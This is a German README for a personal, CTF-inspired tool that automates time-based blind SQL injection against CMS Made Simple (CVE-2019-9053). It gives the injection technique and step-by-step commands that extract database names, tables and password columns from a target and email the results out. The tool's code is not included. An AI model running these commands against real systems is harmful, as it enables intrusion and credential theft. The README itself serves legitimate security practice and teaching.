
Zeitbasiertes Blind-SQL-Injection-Tool für MySQL - CVE-2019-9053
MySQLi.py ist ein persönliches Übungsprojekt, inspiriert von Exploit-DB Exploit 46635, das während des SimpleCTF-Raums auf TryHackMe verwendet wurde.
Was meine Aufmerksamkeit im ursprünglichen Exploit erregte, war seine Fähigkeit, Zugangsdaten zu extrahieren und sogar den Passwort-Hash automatisch zu knacken. Mit dieser Motivation wollte ich meine eigene Version schreiben – moderner, mit einer besseren Oberfläche und mehr Anpassungsmöglichkeiten. Vielleicht gibt es bereits ähnliche Tools, aber ich hoffe, dass dieses kleine Programm ein weiterer Beitrag zur Welt des ethischen Hackings ist!
Das Tool nutzt CVE-2019-9053 aus, eine Schwachstelle in CMS Made Simple < 2.2.10, die einen nicht bereinigten Parameter offenlegt, der für zeitbasierte Blind-SQL-Injection anfällig ist – ohne dass eine Authentifizierung erforderlich ist. Da die Webantwort die Daten nicht direkt anzeigt, funktioniert die Technik, indem IF(SUBSTRING(...), SLEEP(n), 0)-Bedingungen injiziert und die Antwortzeit gemessen wird, um jedes Zeichen einzeln aus der Datenbank, den Tabellen, den Spalten und den Daten zu erraten.
MySQLi-Demo
pip install -r requirements.txt
Um das --email-Flag zu verwenden, erstelle eine .env-Datei im selben Verzeichnis.
Verwende die Vorlage aus .env.example:
[email protected]
GMAIL_PASS=xxxx xxxx xxxx xxxx
Das Passwort muss ein Google-App-Passwort sein, nicht dein reguläres Gmail-Passwort. Du kannst eines unter myaccount.google.com/apppasswords generieren.
git clone https://github.com/rgkue/mysqli.git
cd mysqli
pip install -r requirements.txt
python3 mysqli.py --help
$ python3 mysqli.py --help
███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ██║
██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██║
██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██║
[!] Time-Based Blind SQL Injection for MySQL
Author: Isaac Muñoz - @rgkue | Github: github.com/rgkue/mysqli
Options:
--url <url> Target URL (required)
--mode <mode> Attack mode: database / tables / columns / exfil
--sleep <seconds> Sleep time for time-based injection (default: 5)
--delay <seconds> Delay between requests
--field <name> Vulnerable form field name (default: username)
--max <positions> Max character positions to extract (default: 40)
--table <name> Table name (required for columns/exfil)
--column <name> Column name (required for exfil)
--offset <n> Row offset - 0=first, 1=second... (default: 0)
--email <address> Send results to email (optional)
--output <file> Save data on a file
--help, -h Show this help message and exit
Examples:
python3 mysqli.py --url http://target/login.php --mode database
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
python3 mysqli.py --url http://target/login.php --mode columns --table users
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
python3 mysqli.py --url http://target/login.php --mode database --email [email protected]
# 1. Get the active database name
python3 mysqli.py --url http://target/login.php --mode database
# 2. List tables (use --offset to iterate)
python3 mysqli.py --url http://target/login.php --mode tables
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
# 3. List columns from a table
python3 mysqli.py --url http://target/login.php --mode columns --table users
# 4. Extract data from a column
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
# 5. Run multiple modes in one command
python3 mysqli.py --url http://target/login.php --mode database,tables
# 6. Save results to a file
python3 mysqli.py --url http://target/login.php --mode database --output results.txt
# 7. Send report by email
python3 mysqli.py --url http://target/login.php --mode database,tables --email [email protected]
# 8. Custom injection field
python3 mysqli.py --url http://target/search.php --mode database --field search
MySQLi.py ist ausschließlich für Bildungszwecke und für Umgebungen konzipiert, in denen du ausdrücklich die Erlaubnis hast, Sicherheitstests durchzuführen.
Die Verwendung dieses Tools gegen Systeme ohne vorherige schriftliche Genehmigung des Eigentümers ist illegal und kann in vielen Ländern eine Straftat darstellen. Der Autor übernimmt keine Verantwortung für Schäden, Datenverluste, rechtliche Konsequenzen oder sonstige Schäden, die durch Missbrauch dieser Software entstehen.
Verwende es nur in deinen eigenen Laboren, CTF-Umgebungen, Übungsplattformen wie TryHackMe oder HackTheBox oder auf Systemen, die du testen darfst.
Viel Spaß beim Hacken! :)